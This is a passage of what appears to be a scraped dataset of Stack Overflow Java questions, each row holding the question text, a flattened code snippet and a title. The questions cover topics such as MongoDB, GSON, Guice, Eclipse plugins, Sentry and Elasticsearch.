will learn from my mistake and save themselves a lot of frustration.Thanks to all for your help .","public class MyBasicDBObject { private static final String MAP = `` map '' ; public boolean updateMapAnd ( String submap , String key , byte [ ] value ) { Map topMap = ( Map ) this.get ( MAP ) ; Map embeddedMap = topMap.get ( submap ) ; byte [ ] oldValue = embeddedMap.get ( key ) ; newValue = UtilityClass.binaryAnd ( oldValue , value ) ; embeddedMap.put ( key , newValue ) ; topMap.put ( submap , embeddedMap ) ; this.put ( MAP , topMap ) ; } public boolean updateMapXor ( String submap , String key , byte [ ] value ) { Map topMap = ( Map ) this.get ( MAP ) ; Map embeddedMap = topMap.get ( submap ) ; byte [ ] oldValue = embeddedMap.get ( key ) ; newValue = UtilityClass.binaryXor ( oldValue , value ) ; embeddedMap.put ( key , newValue ) ; topMap.put ( submap , embeddedMap ) ; this.put ( MAP , topMap ) ; } } public class FirstDBObject extends MyBasicDBObject { //no code } public class SecondDBObject extends MyBasicDBObject { //no code } //a cometd service callbackpublic void updateMapObjectsFoo ( ServerSession remote , Message message ) { //locate the objects to update ... FirstDBObject first = ( FirstDBObject ) firstCollection.findOne ( { ... } ) ; SecondDBObject second = ( SecondDBObject ) secondCollection.findOne ( { ... } ) ; //update them as follows first.updateMapAnd ( `` default '' , `` someKey1 '' , newBinaryData1 ) ; second.updateMapAnd ( `` default '' , `` someKey2 '' , newBinaryData2 ) ; //save ( update ) them to their respective collections firstCollection.save ( first ) ; secondCollection.save ( second ) ; } public void updateMapObjectsBar ( ServerSession remote , Message message ) { //locate the objects to update ... FirstDBObject first = ( FirstDBObject ) firstCollection.findOne ( { ... } ) ; SecondDBObject second = ( SecondDBObject ) secondCollection.findOne ( { ... } ) ; /** * the only difference is these two calls */ first.updateMapXor ( `` default '' , `` someKey1 '' , newBinaryData1 ) ; second.updateMapXor ( `` default '' , `` someKey2 '' , newBinaryData2 ) ; //save ( update ) them to their respective collections firstCollection.save ( first ) ; secondCollection.save ( second ) ; } DBObject obj = ( DBObject ) collection.findOne ( new BasicDBObject ( `` _id '' , new ObjectId ( ( String ) anotherObj.get ( `` objId '' ) ) ) ) ; DBObject query = new DBObject ( ) ; String objId = ( String ) anotherObj.get ( `` objId '' ) ; query.put ( `` _id '' , new ObjectId ( objId ) ) ; obj = ( DBObject ) collection.findOne ( query ) ;",Why does mongodb seem to save some binary objects and not others ? +Java,"I have the following codeWhich gives the errorWhich is as expected , but adding a return statement in the finally block makes the error go awayCan someone please explain me what is going on ? and why the error disappears ? Note : I wrote this code purely for experimental purposes !",public static void nocatch ( ) { try { throw new Exception ( ) ; } finally { } } Exception in thread `` main '' java.lang.Error : Unresolved compilation problem : Unhandled exception type CustomException public static void nocatch ( ) { try { throw new Exception ( ) ; } finally { return ; //makes the error go away ! } },Adding return in finally hides the exception +Java,"I have been trying to get my head around the obscure stack map frame and it 's role in making the verification of a dynamically loaded class in just a single pass.Few stack overflow answers & other resources which I found immensely helpful areIs there a better explanation of stack map frames ? What kind of Java code requires stackmap frames ? http : //chrononsystems.com/blog/java-7-design-flaw-leads-to-huge-backward-step-for-the-jvmI understand the following - Every basic block should start with a stack map frame.Every instruction immediately following an unconditional branch ( it 's a start of a basic block ) should have a stack map frame . The algorithm to create the stack map frame by ASM . Section 3.5 of ASM docThe shortcoming of all these articles is that it does n't describe how exactly the stack map frame is used in verification . More specifically - Let 's say we have a bytecode like mentioned below . At the current location , operand stack is going to be empty and the type for local variable 1 is going to be B . The location L0 has a stack map frame associated . How does the verifier use this information ? Note : Note that I did read through the JVM spec and failed miserably to understand the stack map frame . Any help would be very helpful .",< initial frame for method > GETSTATIC B.VALUE ASTORE 1 GOTO L0 < - Current location < stack map frame > L1 GETSTATIC A.VALUE ASTORE 1 < stack map frame > L0 ILOAD 0 IFNE L1 < stack map frame > ALOAD 1 ARETURN,Use of stackmap frames and how it helps in byte code verification ? +Java,"I am using JME in my application and sometimes it crashes with the following message : The log file can be found by this link : http : //sergpank.heliohost.org/log.htmlThe strangest thing is that in my case I get crashes only ob builded code , but when I am launcing it from the Eclipse , everything works fine on my machine . On machines with AMD video adapters nothing crashes . On other machines with Intel videocard sometimes crashes appear and on the debug stage.I am starting to suppose that this happens because of incorrect ant setup ( in startup.ini the following path is set up : -Djava.library.path=lib/dlls so dlls is seen for the project ) . But still ca n't get why it works almost perfectly on AMD and crashes on Intel.Maybe it is something related to the ant , and I have to add dlls to the manfest ... looking through the documentation and ca n't find the way how it can be done.Solution : On 64 bit system is necessary to use the corresponding JVM ( 64-bit ) and then nothing crashes = ) )","# # A fatal error has been detected by the Java Runtime Environment : # # EXCEPTION_ACCESS_VIOLATION ( 0xc0000005 ) at pc=0x3d601ad7 , pid=168 , tid=4012 # # JRE version : 6.0_29-b11 # Java VM : Java HotSpot ( TM ) Client VM ( 20.4-b02 mixed mode , sharing windows-x86 ) # Problematic frame : # C [ ig4dev32.dll+0x21ad7 ] # # An error report file with more information is saved as : # C : \ ... \hs_err_pid168.log # # If you would like to submit a bug report , please visit : # http : //java.sun.com/webapps/bugreport/crash.jsp # The crash happened outside the Java Virtual Machine in native code. # See problematic frame for where to report the bug. #",JMonkeyEngine crash on Intel video adapter +Java,"Above program outputs `` true '' . Both are two different identifiers/objects how the output is `` true '' ? My understanding is that the JVM will create different reference for each object , if so how the output is true ?",public class A { static String s1 = `` I am A '' ; public static void main ( String [ ] args ) { String s2 = `` I am A '' ; System.out.println ( s1 == s2 ) ; } },Basic Java question : String equality +Java,"I am attempting to parse the following JSON response with GSON : These are the two classes I have defined ( each class contains the respective getters and setters ) : I have been unable to parse the RepChanges class into the rep_changes attribute in the Reputation class . Any thoughts ? Note : I have managed to parse total , page , and pagesize ( these are non-complex attributes ) . This is what I have done : To parse the total , page , and pagesize , I used ( and worked fine ) : However , when doing : I ( technically ) do not get an error , but the following ( which seems like a memory location ) :","{ `` total '' : 15 , `` page '' : 2 , `` pagesize '' : 10 , `` rep_changes '' : [ { `` user_id '' : 2341 , `` post_id '' : 2952530 , `` post_type '' : `` question '' , `` title '' : `` unprotected access to member in property get '' , `` positive_rep '' : 5 , `` negative_rep '' : 0 , `` on_date '' : 1275419872 } , { `` user_id '' : 2341 , `` post_id '' : 562948 , `` post_type '' : `` question '' , `` title '' : `` Do you have any recommendations on Blend/XAML books/tutorials for designers ? `` , `` positive_rep '' : 20 , `` negative_rep '' : 0 , `` on_date '' : 1270760339 } ... . } public class Reputation { private int total ; private int page ; private int pagesize ; private List < RepChanges > rep_changes ; public class RepChanges { private int user_id ; private int post_id ; private String post_type ; private String title ; private int positive_rep ; private int negative_rep ; private long on_date ; Gson gson = new Gson ( ) ; Reputation rep = gson.fromJson ( jsonText , Reputation.class ) ; //doing this works : int page = rep.getPage ( ) ; System.out.println ( page ) ; List < RepChanges > rep_changes = rep.getRep_changes ( ) ; for ( RepChanges r : rep_changes ) { System.out.println ( r.toString ( ) ) ; } stackoverflow.objects.RepChanges @ 116bb691","Deserialising a JSON response with GSON , using Java" +Java,"I 'm trying to crawl a website using htmlunit . Whenever I run it though it only outputs the following error : Now I do n't know much about JS , but I read that push is some kind of array operation . This seems standard to me and I do n't know why it would not be supported by htmlunit.Here is the code I 'm using so far : What am I missing ? Is there a way around this or a way to fix this ? Thanks in advance !",Caused by : net.sourceforge.htmlunit.corejs.javascript.EcmaError : TypeError : Can not read property `` push '' from undefined ( https : //www.kinoheld.de/dist/prod/0.4.7/widget.js # 1 ) public static void main ( String [ ] args ) throws IOException { WebClient web = new WebClient ( BrowserVersion.FIREFOX_45 ) ; web.getOptions ( ) .setUseInsecureSSL ( true ) ; String url = `` https : //www.kinoheld.de/kino-muenchen/royal-filmpalast/vorstellung/280823/ ? mode=widget & showID=280828 # panel-seats '' ; web.getOptions ( ) .setThrowExceptionOnFailingStatusCode ( false ) ; web.waitForBackgroundJavaScript ( 9000 ) ; HtmlPage response = web.getPage ( url ) ; System.out.println ( response.getTitleText ( ) ) ; },htmlunit Can not read property `` push '' from undefined +Java,I have a Kotlin Code : Now I want to call this method from a Java Class . I am confused about how to call this . Here is what I triedBut it shows following error .,fun showAdWithCallback ( callback : ( ) - > Unit ) { if ( AdsPrefs.shouldShowInterstitialAd ( ) ) { mInterstitialAd.show ( ) this.callback = callback } else { callback ( ) } } showAdWithCallback ( ( ) - > { return null ; } ) ;,How to pass function as parameter from java to kotlin method ? +Java,"The task is to count the num of words from a input file.the input file is 8 chars per line , and there are 10M lines , for example : the output is : It 'll takes 80MB memory if I load all of words into memory , but there are only 60MB in os system , which I can use for this task . So how can I solve this problem ? My algorithm is to use map < String , Integer > , but jvm throw Exception in thread `` main '' java.lang.OutOfMemoryError : Java heap space . I know I can solve this by setting -Xmx1024m , for example , but I want to use less memory to solve it .",aaaaaaaa bbbbbbbb aaaaaaaa abcabcab bbbbbbbb ... aaaaaaaa 2 abcabcab 1 bbbbbbbb 2 ...,How to count string num with limit memory ? +Java,"This is kind of a follow-up question to a question I asked over here regarding how to paint an applet/window while using SwingWorkerIn this particular instance , I am using a divide and conquer algorithm proposed by Guibas and stolfi to compute a Delaunay triangulation of a set of points say P.The algorithm is as follows:1 . If sizeof ( p ) ==2 , add an edge ; return2 . If sizeof ( p ) ==3 , add a counter-clockwise oriented triangle ; return3 . if sizeof ( p ) > 3 , divide ( p ) into left and right halves . Triangulate the individual halves merge the halves togetherI have a triangulation class whose triangulate method ( as shown in the code block ) will implement the divide and conquer algorithm ( according to the pseudo-code provided by Guibas and Stolfi ) I have a DrawingPanel which acts as a Canvas class and paints the triangles , points on the drawing surface.I am using a SwingWorker in my main Triangulate class to call the triangulate method.Here 's the code for the SwingWorker : Now , I would like to animate this triangulation , by showing the triangulation appearing after the recursive call to the triangulate and then the merge function.Does anybody have some pointers which will help me implement the solution ? I thought about using the publish and process method in the SwingWorker class , but then figured out that would be redundant since the divide and conquer algorithm directly comes up with the final triangulation.Thanks in advance .","public QuadEdge [ ] partition ( List < PlanarPoint > list ) { QuadEdge [ ] convexHullEdges = new QuadEdge [ 2 ] ; if ( list.size ( ) == 2 ) { //Add edge } else if ( list.size ( ) == 3 ) { //Add a counter-clockwise oriented triangle } else if ( list.size ( ) > 3 ) { List < PlanarPoint > leftHalf = new ArrayList < PlanarPoint > ( ) ; List < PlanarPoint > rightHalf = new ArrayList < PlanarPoint > ( ) ; //Divide the list of points into 2 halves QuadEdge [ ] leftDelaunay = triangulate ( leftHalf ) ; QuadEdge ldo = leftDelaunay [ 0 ] ; QuadEdge ldi = leftDelaunay [ 1 ] ; QuadEdge [ ] rightDelaunay = triangulate ( rightHalf ) ; QuadEdge rdi = rightDelaunay [ 0 ] ; QuadEdge rdo = rightDelaunay [ 1 ] ; // Merge the two halves merge ( ldo , ldi , rdi , rdo ) ; } return convexHullEdges ; } private class GuibasStolfiWorker extends SwingWorker < List < QuadEdge > , PlanarPoint > { @ Override protected List < QuadEdge > doInBackground ( ) throws Exception { // retrieve the points added by the user on the drawing surface List < PlanarPoint > list = drawingPanel.pointsList ( ) ; Trinagulation dt = new Triangulation ( list ) ; dt.preprocess ( ) ; // removes duplicate points dt.triangulate ( ) ; // calls the recursive divide and conquer algorithm return dt.edgeList ( ) ; //returns the list of edges which form the final triangulation . } protected void process ( List < PlanarPoint > chunks ) { drawingPanel.repaint ( ) ; } public void done ( ) { try { List < QuadEdge > triangles = get ( ) ; drawingPanel.setTrianglesList ( triangles ) ; drawingPanel.repaint ( ) ; } catch ( InterruptedException e ) { } catch ( ExecutionException e ) { } } } ;",animating a recursive triangulation algorithm using swingworker +Java,"I am using below tag in my JavaFX WebView standalone application in one of the pageInput type number which accepts characters alsoinput type date which is not rendering as a date controlThe text type input still accepting text in input but when I use this tag in the normal HTML page ( Not in JavaFX ) like writing it in notepad , it 's working fine.How to resolve this rendering issue ? Or anything I am doing wrong in steps to registering the HTML file ? Note : My web engine user agent is Mozilla/5.0 ( Windows NT 10.0 ; Win64 ; x64 ) AppleWebKit/538.19 ( KHTML , like Gecko ) JavaFX/8.0 Safari/538.19 .",< input type= '' number '' id= '' qNumber '' / > < input type= '' date '' id= '' qDate '' / >,HTML5 controls are not working in JavaFX webview +Java,"Suppose I have the following pattern repeating often in my code : I want to bind all List < T > to ArrayList < T > .I know I can use TypeLiterals to bind an explicit raw type , e.g. , List < String > , but is there anyway to do this for all types ? Basically , this code should not fail because I did n't bind List explicitly :",class A < T > { @ Inject public A ( List < T > list ) { // code } } injector.getInstance ( new Key < A < Integer > > ( ) { } ) ;,Guice : how do I bind generics for ALL types ? +Java,"I 'm trying to get the return value of a JavaScript function I 've written . I can do it using a very complicated method involving listeners , but I 'm wanting to use Eclipse 's Browser.evaluate method.As a toy problem , I have the following code in a Java file : where this.browser is created in a class extending org.eclipse.ui.part.EditorPart in the overridden function createPartControl : However , instead of result being a Java String with the contents `` Hello World '' , it 's null . Am I using this method incorrectly , or is it broken ?","Object result = this.browser.evaluate ( `` new String ( \ '' Hello World\ '' ) '' ) ; public void createPartControl ( Composite parent ) { // Create the browser instance and have it this.browser = new Browser ( parent , SWT.NONE ) ; this.browser.addFocusListener ( new FocusAdapter ( ) { @ Override public void focusGained ( FocusEvent e ) { SomeEditor.this.getSite ( ) .getPage ( ) .activate ( SomeEditor.this ) ; } } ) ; new ErrorReporter ( this.browser ) ; this.browser.setUrl ( Activator.getResourceURL ( `` html/java-shim.html '' ) .toString ( ) ) ; ... more stuff snipped ... }",Is there a simple way to get the JavaScript output in Java ( using Eclipse ) ? +Java,"I received this question during an interview , the question is Given two integers , return the number of digits that they share.For example 129 and 431 would return 1 - as they both share the digit 1 , but no other digit . 95 and 780 would return 0 , since none of the integers overlap . My thoughts are just iterate through the digits , store them into a hashtable and check .containsKey.My Java solution : But this takes up O ( n ) space and O ( n + m ) time , anyways I can improve this ?","public int commonDigits ( int x , int y ) { int count = 0 ; HashTable < Integer , String > ht = new HashTable < Integer , String > ( ) ; while ( x ! = 0 ) { ht.put ( x % 10 , `` x '' ) ; x /= 10 ; } while ( y ! = 0 ) { if ( ( ht.containsKey ( y % 10 ) ) { count++ ; } y /= 10 ; } return count ; }","How to improve : Given two integers , return the number of digits that they share" +Java,"The below is my codeAs I have defined my own comparator of type Number , but still when I 'm adding any thing else that is a string to it , it 's not giving me any exception . It 's simply working fine.I 'm getting the output asCan any one please explain why it 's happening .","class NumberComparator < Number > implements Comparator < Number > { public int compare ( Number o1 , Number o2 ) { return 1 ; } } public class Ex28 { public static void main ( String [ ] args ) { TreeSet set = new TreeSet ( new NumberComparator < Number > ( ) ) ; set.add ( 1 ) ; set.add ( 1.4f ) ; set.add ( 1L ) ; set.add ( `` 1a '' ) ; System.out.println ( set ) ; } } [ 1 , 1.4 , 1 , 1a ]",Why I 'm not getting a class cast exception or some thing else when adding element to TreeSet +Java,"I came across the question `` Why is -1 zero fill right shift 1=2147483647 for integers in Java ? `` I understood the concept of zero fill right shift perfectly well from the above question 's answer . But when I tried to find -1 > > 1 , I am getting a totally complex answer which I felt difficult to understand.I do n't understand how -1 > > 1 is -1 itself , then ?","-1 in binary form is as follows : 11111111111111111111111111111111After flipping the bits , I got : 00000000000000000000000000000000Upon adding 1 to it , I got : 00000000000000000000000000000001Now shifting one position right : 00000000000000000000000000000000 After flipping the bits , I got : 11111111111111111111111111111111Now adding 1 to it : 00000000000000000000000000000000",Why is -1 right shift 1 = -1 in Java ? +Java,"When sub-classing AbstractCollection , I must still implement size ( ) , even though ( I believe ) there is a reasonable correct ( though non-performant ) default implementation : Why did the designers not include a default implementation of size ( ) ? Were they trying to force developers to consciously think about this method , hopefully causing the developer to offer an implementation that performs better than the default ?",public int size ( ) { int count = 0 ; for ( Iterator < E > i = iterator ( ) ; i.hasNext ( ) ; ) { i.next ( ) ; count++ } return count ; },Why does AbstractCollection not implement size ( ) ? +Java,"The following program freezes , and I ca n't work out why . For the present purposes , the first method just creates a very large BigDecimal . ( Details : it finds e to the power of z , even when this too large to be a double . I am pretty sure this method is correct , though the MathContexts may not be in the best places . ) I know e^123456789 is extremely big , but I really do want to use numbers like this . Any answers would be very gratefully received .","import java.math . * ; public class BigDec { public static BigDecimal exp ( double z ) { // Find e^z = e^intPart * e^fracPart . return new BigDecimal ( Math.E ) .pow ( ( int ) z , MathContext.DECIMAL128 ) . multiply ( new BigDecimal ( Math.exp ( z- ( int ) z ) ) , MathContext.DECIMAL128 ) ; } public static void main ( String [ ] args ) { // This works OK : BigDecimal x = new BigDecimal ( 3E200 ) ; System.out.println ( `` x= '' + x ) ; System.out.println ( `` x.movePointRight ( 1 ) = '' + x.movePointRight ( 1 ) ) ; // This does not : x = exp ( 123456789 ) ; System.out.println ( `` x= '' + x ) ; System.out.println ( `` x.movePointRight ( 1 ) = '' + x.movePointRight ( 1 ) ) ; //hangs } }",BigDecimal.movePointRight ( ) hangs with very large numbers +Java,"As some of you might know , we have a ton of opcodes for comparing different types of primitive values : For obvious reasons the creators of the instruction set did not bother to add all IF_LCMPEQ , IF_FCMPLT , ... instructions , but I am wondering why there is no ICMP instruction , seeing that it would be very useful especially for booleans or Integer.compare ( int , int ) .",LCMPFCMPLFCMPGDCMPLDCMPGIFEQIFNEIFLTIFGEIFGTIFLEIF_ICMPEQIF_ICMPNEIF_ICMPLTIF_ICMPGEIF_ICMPGTIF_ICMPLEIF_ACMPEQIF_ACMPNE ...,Why is there no ICMP instruction ? +Java,"I 've been working with the new Eclipse Neon and some of my code started to give me errors straight away.This was strange to me at first , but then I found here that the Neon ECJ ( Eclipse Java Compiler ) adopts the attitude of the JDK 9 early release compiler.I do not encounter the same issue that is in that link , but rather another that I will explain here.Issue with Lambda Expression declarations as fieldsHere is a test class that gives me a compilation error in Eclipse Neon , the JDK 9 compiler , and the JDK 8 compiler ( Not previous versions of Eclipse though ) .Given the code above , the errors at line 4 for suffix are : Now see what happens with the same class if I move the suffix field declaration before the the addSuffix declaration.Given the code above , the errors at line 6 for suffix are : Should Java 9 behave this way ? This worked perfectly fine in JDK 8 ; seems like a strange thing to suddenly enforce . Especially considering that there are already compile-time checks in place to ensure final fields are instantiated correctly.Therefore , by the time the function addSuffix is ever accessed , there would need to be a value in place for suffix ( null or otherwise is another story ) .I 'll also note that I 've tried the following code , which compiles fine with JDK9 and ECJ : It appears that in JDK 9 , there is a big difference between anonymous class declarations and Lambda expressions . So in this case where we get a compiler error , at least the ECJ is accurately in mimicking the JDK 9 compiler.Issue with Stream & GenericsThis one really surprised me , because I can not think of why the compiler would interpret this any differently than what the Generic in the code indicates : This code gives these errors : In light of this information , it appears in this case , the ECJ is at fault for not properly mimicking the JDK 9 and is just an Eclipse bug .","public class Weird { private final Function < String , String > addSuffix = text - > String.format ( `` % s. % s '' , text , this.suffix ) ; private final String suffix ; public Weird ( String suffix ) { this.suffix = suffix ; } } ╔══════════╦═══════════════════════════════════════════════╗║ Compiler ║ Error ║╠══════════╬═══════════════════════════════════════════════╣║ ECJ ║ Can not reference a field before it is defined ║║ JDK 9 ║ error : illegal forward reference ║╚══════════╩═══════════════════════════════════════════════╝ public class Weird { private final String suffix ; private final Function < String , String > addSuffix = text - > String.format ( `` % s. % s '' , text , this.suffix ) ; public Weird ( String suffix ) { this.suffix = suffix ; } } ╔══════════╦════════════════════════════════════════════════════════════╗║ Compiler ║ Error ║╠══════════╬════════════════════════════════════════════════════════════╣║ ECJ ║ The blank final field suffix may not have been initialized ║║ JDK 9 ║ error : variable suffix might not have been initialized ║╚══════════╩════════════════════════════════════════════════════════════╝ public class Weird { private final String suffix ; private final Function < String , String > addSuffix = new Function < String , String > ( ) { @ Override public String apply ( String text ) { return String.format ( `` % s. % s '' , text , suffix ) ; } } ; public Weird ( String suffix ) { this.suffix = suffix ; } } public class Weird { public void makePDFnames ( String [ ] names ) { final List < String > messages = Arrays.asList ( `` nice_beard '' , `` bro_ski '' ) ; final List < String > components = messages.stream ( ) .flatMap ( s - > Stream.of ( s.split ( `` _ '' ) ) ) .collect ( Collectors.toList ( ) ) ; } } ╔══════════╦═══════════════════════════════════════════════════════════════════════╗║ Compiler ║ Error ║╠══════════╬═══════════════════════════════════════════════════════════════════════╣║ ECJ ║ Type mismatch : can not convert from List < Serializable > to List < String > ║║ JDK 9 ║ NO ERROR . Compiles fine ! ║╚══════════╩═══════════════════════════════════════════════════════════════════════╝",Should JDK 9 not allow Lambda Expression instantiation where final fields are referenced in the overridden method ? +Java,I am working on some regex and I wonder why this regexdoes not match the stringin Java ?,`` ( ? < = ( . * ? id ( ( * ) = ) \\s [ \ '' \ ' ] ) ) g '' < input id = `` g '' / >,Can not match string using regex +Java,But the value of $ { user.home } is \\LOGONSERVER\RedirectedFolders\f.lastname\ in network drive.So how is $ { user.home } initialized and how can I change its value to the normal user profile directory ? Resolved ! By fixing Desktop path value in 'HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders ',echo % userprofile % C : \Users\f.lastname,How is the value of $ { user.home } initialized ? +Java,"I want to group exception with Sentry , the exception comes from different servers , but I want all exception by type together , for example , all NPE be grouped . I know you can extend EventBuilderHelper and this is how sentry group things , but sentry java does n't provide features to send an event with fingerprints of the method , error type , etc , as others SDK like this example in docs.sentry.iothis is what I try to do , but in this scope , do n't have knowledge about method , error , etc.the json send to the server has some information about the exception , but I dont know hoy to get it","function makeRequest ( method , path , options ) { return fetch ( method , path , options ) .catch ( err = > { Sentry.withScope ( scope = > { // group errors together based on their request and response scope.setFingerprint ( [ method , path , err.statusCode ] ) ; Sentry.captureException ( err ) ; } ) ; } ) ; } package com.test ; import io.sentry.SentryClient ; import io.sentry.event.EventBuilder ; import io.sentry.event.helper.ContextBuilderHelper ; public class FingerprintEventBuilderHelper extends ContextBuilderHelper { private static final String EXCEPTION_TYPE = `` exception_type '' ; public FingerprintEventBuilderHelper ( SentryClient sentryClient ) { super ( sentryClient ) ; } @ Override public void helpBuildingEvent ( EventBuilder eventBuilder ) { super.helpBuildingEvent ( eventBuilder ) ; //Get the exception type String exceptionType = if ( exceptionType ! = null ) { eventBuilder.withTag ( EXCEPTION_TYPE , exceptionType ) ; } //Get method information and params if ( paramX ! = null ) { eventBuilder.withTag ( `` PARAM '' , paramX ) ; } } } ... `` release '' : null , `` dist '' : null , `` platform '' : `` java '' , `` culprit '' : `` com.sun.ejb.containers.BaseContainer in checkExceptionClientTx '' , `` message '' : `` Task execution failed '' , `` datetime '' : `` 2019-06-26T14:13:29.000000Z '' , `` time_spent '' : null , `` tags '' : [ [ `` logger '' , `` com.test.TestService '' ] , [ `` server_name '' , `` localhost '' ] , [ `` level '' , `` error '' ] ] , `` errors '' : [ ] , `` extra '' : { `` Sentry-Threadname '' : `` MainThread '' , `` rid '' : `` 5ff37e943-f4b4-4hc9-870b-4f8c4d18cf84 '' } , `` fingerprint '' : [ `` { { default } } '' ] , `` key_id '' : 3 , `` metadata '' : { `` type '' : `` NullPointerException '' , `` value '' : `` '' } , ...",Grouping with Sentry +Java,I 'm struggling to capture a wildcard when it is `` nested in another wildcard '' .Is it possible ? The code : compiled with javac 7 produces : Besides many more simpler cases I 've foundIncompatible generic wildcard capturesUsing Java wildcardsbut I could not infer an answer for my problem from those .,public class ConvolutedGenerics { // listClass is a class implementing a List of some Serializable type public void doSomethingWithListOfSerializables ( Class < ? extends List < ? extends Serializable > > listClass ) { // Capture ' ? extends Serializable ' as 'T extends Serializable ' // The line does not compile with javac 7 captureTheWildcard ( listClass ) ; // < -- -- -- zonk here } // listClass is a class implementing a List of some Serializable type private < T extends Serializable > void captureTheWildcard ( Class < ? extends List < /* ? extends */T > > listClass ) { // Do something } } ConvolutedGenerics.java:18 : error : method captureTheWildcard in class ConvolutedGenerics can not be applied to given types ; captureTheWildcard ( listClass ) ; ^ required : Class < ? extends List < T > > found : Class < CAP # 1 > reason : no instance ( s ) of type variable ( s ) T exist so that argument type Class < CAP # 1 > conforms to formal parameter type Class < ? extends List < T > > where T is a type-variable : T extends Serializable declared in method < T > captureTheWildcard ( Class < ? extends List < T > > ) where CAP # 1 is a fresh type-variable : CAP # 1 extends List < ? extends Serializable > from capture of ? extends List < ? extends Serializable > 1 error,Why nested wildcard capture is not possible ? +Java,"I am quoting from Oracle 's Java documentation on Atomic Access Reads and writes are atomic for reference variables and for most primitive variables ( all types except long and double ) . Reads and writes are atomic for all variables declared volatile ( including long and double variables ) . I understand how volatile works . But mentioning the requirement to declare volatile explicitly for long and double variables to get atomic access in the second statement , is making volatile declaration for reference variables and for most primitive variables ( all types except long and double ) in the first statement optional.But I am seeing codes which use explicit volatile declaration in int primitive type to achieve atomic access ; and not doing so not guaranteeing atomic access.Am I missing something ?",int variable1 ; // no atomic accessvolatile int variable2 ; // atomic access,volatile declaration on int primitive type +Java,"I created an eclipse plugin that will hook into the save action to create a minified javascript file with the goolge closure compiler . See files below.That worked until eclipse 3.7.2 . Unfortunately now in eclipse 4.2.1 it seems that this creates an endless loop sometimes . The job `` compile .min.js '' ( line 64 in ResourceChangedListener.java ) seems the be the cause . It results in the case that the workspaced starts to build over and over . I guess this is because that job creates or changes a file triggering the workspace build again , which again triggers the job which triggers the build and so on.But I can not figure out how to prevent this.// Activator.java// ResourceChangedListener.java","package closure_compiler_save ; import org.eclipse.core.resources.ResourcesPlugin ; import org.eclipse.ui.plugin.AbstractUIPlugin ; import org.osgi.framework.BundleContext ; /** * The activator class controls the plug-in life cycle */public class Activator extends AbstractUIPlugin { // The plug-in ID public static final String PLUGIN_ID = `` closure-compiler-save '' ; // $ NON-NLS-1 $ // The shared instance private static Activator plugin ; /** * The constructor */ public Activator ( ) { } @ Override public void start ( BundleContext context ) throws Exception { super.start ( context ) ; Activator.plugin = this ; ResourceChangedListener listener = new ResourceChangedListener ( ) ; ResourcesPlugin.getWorkspace ( ) .addResourceChangeListener ( listener ) ; } @ Override public void stop ( BundleContext context ) throws Exception { Activator.plugin = null ; super.stop ( context ) ; } /** * Returns the shared instance * * @ return the shared instance */ public static Activator getDefault ( ) { return plugin ; } } package closure_compiler_save ; import java.io.ByteArrayInputStream ; import java.io.IOException ; import java.io.InputStream ; import org.eclipse.core.resources.IFile ; import org.eclipse.core.resources.IProject ; import org.eclipse.core.resources.IResource ; import org.eclipse.core.resources.IResourceChangeEvent ; import org.eclipse.core.resources.IResourceChangeListener ; import org.eclipse.core.resources.IResourceDelta ; import org.eclipse.core.runtime.CoreException ; import org.eclipse.core.runtime.IPath ; import org.eclipse.core.runtime.IProgressMonitor ; import org.eclipse.core.runtime.IStatus ; import org.eclipse.core.runtime.Status ; import org.eclipse.core.runtime.jobs.Job ; public class ResourceChangedListener implements IResourceChangeListener { public void resourceChanged ( IResourceChangeEvent event ) { if ( event.getType ( ) ! = IResourceChangeEvent.POST_CHANGE ) return ; IResourceDelta delta = event.getDelta ( ) ; try { processDelta ( delta ) ; } catch ( CoreException e ) { e.printStackTrace ( ) ; } } // find out which class files were just built private void processDelta ( IResourceDelta delta ) throws CoreException { IResourceDelta [ ] kids = delta.getAffectedChildren ( ) ; for ( IResourceDelta delta2 : kids ) { if ( delta2.getAffectedChildren ( ) .length == 0 ) { if ( delta.getKind ( ) ! = IResourceDelta.CHANGED ) return ; IResource res = delta2.getResource ( ) ; if ( res.getType ( ) == IResource.FILE & & `` js '' .equalsIgnoreCase ( res.getFileExtension ( ) ) ) { if ( res.getName ( ) .contains ( `` min '' ) ) return ; compile ( res ) ; } } processDelta ( delta2 ) ; } } private void compile ( final IResource res ) throws CoreException { final IPath fullPath = res.getFullPath ( ) ; final IPath fullLocation = res.getLocation ( ) ; final String fileName = fullPath.lastSegment ( ) .toString ( ) ; final String outputFilename = fileName.substring ( 0 , fileName.lastIndexOf ( `` . `` ) ) .concat ( `` .min.js '' ) ; final String outputPath = fullPath.removeFirstSegments ( 1 ) .removeLastSegments ( 1 ) .toString ( ) ; final IProject project = res.getProject ( ) ; final IFile newFile = project.getFile ( outputPath.concat ( `` / '' .concat ( outputFilename ) ) ) ; Job compileJob = new Job ( `` Compile .min.js '' ) { public IStatus run ( IProgressMonitor monitor ) { byte [ ] bytes = null ; try { bytes = CallCompiler.compile ( fullLocation.toString ( ) , CallCompiler.SIMPLE_OPTIMIZATION ) .getBytes ( ) ; InputStream source = new ByteArrayInputStream ( bytes ) ; if ( ! newFile.exists ( ) ) { newFile.create ( source , IResource.NONE , null ) ; } else { newFile.setContents ( source , IResource.NONE , null ) ; } } catch ( IOException e ) { e.printStackTrace ( ) ; } catch ( CoreException e ) { e.printStackTrace ( ) ; } return Status.OK_STATUS ; } } ; compileJob.setRule ( newFile.getProject ( ) ) ; // this will ensure that no two jobs are writing simultaneously on the same file compileJob.schedule ( ) ; } }",eclipse plugin does not work after update to juno ( eclipse 4 ) +Java,"I have an application that is using the Elasticsearch Java API ( 5.6.7 ) to execute an aggregation query ( terms ) . I have created the following search document using curl and the HTTP API ( relevant information displayed ) : Now that the query has been implemented in my Java program , I notice that the results are different from the HTTP API results ! Both return the exact same meta-information regarding shards , number of hits , etc : However the returned aggregation from the Java API does not contain any buckets : while the same aggregation from the HTTP API does contain the buckets : I am 100 % sure that the search document is the same ( copied it from the Java app log ) . Q : What can cause this difference ? EDIT My java code for building the query is ( contains a lot of references to other classes ) : The output from the last log statement is what I use to POST via curl -XPOST http : //localhost:9200/ ... Then execution is done via","{ `` from '' : 0 , `` size '' : 0 , `` sort '' : [ { `` @ timestamp '' : { `` order '' : `` desc '' } } ] , `` aggregations '' : { `` level '' : { `` terms '' : { `` field '' : `` level.keyword '' , `` size '' : 10 , `` min_doc_count '' : 1 , `` shard_min_doc_count '' : 0 , `` show_term_doc_count_error '' : false , `` order '' : [ { `` _count '' : `` desc '' } , { `` _term '' : `` asc '' } ] } } } } { `` took '' : 1 , `` timed_out '' : false , `` _shards '' : { `` total '' : 5 , `` successful '' : 